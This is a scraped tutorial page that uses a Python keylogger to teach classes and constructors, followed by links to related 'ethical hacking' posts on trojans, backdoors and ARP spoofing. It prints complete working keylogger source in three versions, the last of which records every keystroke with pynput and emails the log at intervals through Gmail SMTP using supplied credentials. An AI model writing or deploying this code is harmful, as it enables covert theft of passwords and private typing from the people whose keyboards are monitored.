Object-Oriented Programming

Keylogger Classes

  • Way of modeling program(blueprint).
  • Logically group functions and data.
    • Makes code more readable.
    • More reusable.
    • Separate implementation from usage(encapsulation).
    • Easier to extend.
    • Easier to maintain.

The Keylogger Class:

#!/usr/bin/env python
import threading import pynput.keyboard log = "" class Keylogger:
def process_key_press(self, key):
global log
try:
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + " "
else:
log = log + " " + str(key) + " " def report(self):
global log
print(log)
log = ""
timer = threading.Timer(10, self.report)
timer.start() def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()

The main Python program calling the Keylogger Class:

#!/usr/bin/env python
import keylogger my_keylogger = keylogger.Keylogger()
my_keylogger.start()

Constructor Method & Instance Variables:

  • AKA initialization method.
  • Gets executed automatically when a class is created.
#!/usr/bin/env python
import threading import pynput.keyboard class Keylogger:
def __init__(self):
self.log = "" def append_to_log(self, string):
self.log = self.log + string def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key) def report(self):
print(self.log)
self.log = ""
timer = threading.Timer(10, self.report)
timer.start() def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()

Polish the Python Class Code once more to log Key-strikes and report them by email.

#!/usr/bin/env python
import threading
import smtplib
import pynput.keyboard class Keylogger:
def __init__(self, time_interval, email, password):
self.log = "Keylogger started"
self.interval = time_interval
self.email = email
self.password = password def append_to_log(self, string):
self.log = self.log + string def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key) def report(self):
print(self.log)
self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = ""
timer = threading.Timer(self.interval, self.report)
timer.start() def send_mail(self, email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit() def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()

Main program:

#!/usr/bin/env python
import keylogger my_keylogger = keylogger.Keylogger(120, "aaaa@gmail.com", "")
my_keylogger.start()

Python Ethical Hacking - KEYLOGGER(3)的更多相关文章

  1. Python Ethical Hacking - KEYLOGGER(1)

    A program that records keys pressed on the keyboard. Common features: Store logs locally(local keylo ...

  2. Python Ethical Hacking - KEYLOGGER(2)

    Report function: Run in the background. Don't interrupt program execution. Every X seconds, send the ...

  3. Python Ethical Hacking - TROJANS Analysis(1)

    TROJANS A trojan is a file that looks and functions as a normal file(image, pdf, song ..etc). When e ...

  4. Python Ethical Hacking - Malware Packaging(2)

    PACKAGING FOR WINDOWS FROM LINUX For best results package the program from the same OS as the target ...

  5. Python Ethical Hacking - BACKDOORS(8)

    Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specifi ...

  6. Python Ethical Hacking - BACKDOORS(1)

    REVERSE_BACKDOOR Access file system. Execute system commands. Download files. Upload files. Persiste ...

  7. Python Ethical Hacking - Malware Analysis(1)

    WRITING MALWARE Download file. Execute Code. Send Report. Download & Execute. Execute & Repo ...

  8. Python Ethical Hacking - ARP Spoofing

    Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ...

  9. Python Ethical Hacking - NETWORK_SCANNER(2)

    DICTIONARIES Similar to lists but use key instead of an index. LISTS List of values/elements, all ca ...

随机推荐

  1. ca77a_c++__一个打开并检查文件输入的程序_流对象_操作文件

    /*ca77a_c++__一个打开并检查文件输入的程序 习题:8.13 8.14*/ /*ca77a_c++__一个打开并检查文件输入的程序 习题:8.13 8.14 */ #include < ...

  2. 你所不知道的redis安装方法,穿一手鞋,看一手资料

    一 .准备工作 $ yum install wget $ cd /opt/ $ mkdir redis $cd redis $ ll wget http://download.redis.io/rel ...

  3. Linux远程连接mongodb

    当没有客户端工具,eg:robo3T时,如何修改mongodb里的数据呢? 1.连接mongodb服务器mongo 1.1.1.1:1688 2.查看数据库列表show dbs 3.选择使用log库u ...

  4. 操作系统识别-python、nmap

    识别操作系统主要是用于操作系统漏洞的利用.不管是windows还是linux系统,在安装完毕后都会默认启动一些服务,开启一些端口. 识别目标主机的系统最简单的方法就是发送ping包,windows起始 ...

  5. Python3-collections模块-容器数据类型

    Python3中的collections模块实现了一些专业的容器数据类型 最常用的容器数据类型 字典.列表和元组.集合都已经被Python默认导入,但在实现一些特定的业务时,collections模块 ...

  6. Idea中SpringBoot整合JSP

    最近在学习SpringBoot,看到SpringBoot整合jsp,顺带记录一下. 1.创建一个SpringBoot项目 点击Next 注意:packaging选中War,点击Next Webà选中W ...

  7. Centos7 GRE Tunnel

    一.关闭防火墙及selinux 二.CentOS7默认不加载gre内核模块,加载gre内核模块 # modprobe ip_gre   临时加载gre模块(重启后失效) # lsmod |grep g ...

  8. keras训练实例-python实现

    用keras训练模型并实时显示loss/acc曲线,(重要的事情说三遍:实时!实时!实时!)实时导出loss/acc数值(导出的方法就是实时把loss/acc等写到一个文本文件中,其他模块如前端调用时 ...

  9. DOM-BOM-EVENT(7)

    7.事件深入 7.1.事件捕获 事件流分为事件冒泡和事件捕获两种,事件冒泡指事件从里往外传播,而事件捕获刚好相反,指事件从外向內传播 <!DOCTYPE html> <html la ...

  10. c++数字转化为字符串、字符串转换为数字

    char ch[20]; int i =1; int j = 2; char *p = "34567"; 数字装换为字符串 sprintf(ch , "%d,%d&quo ...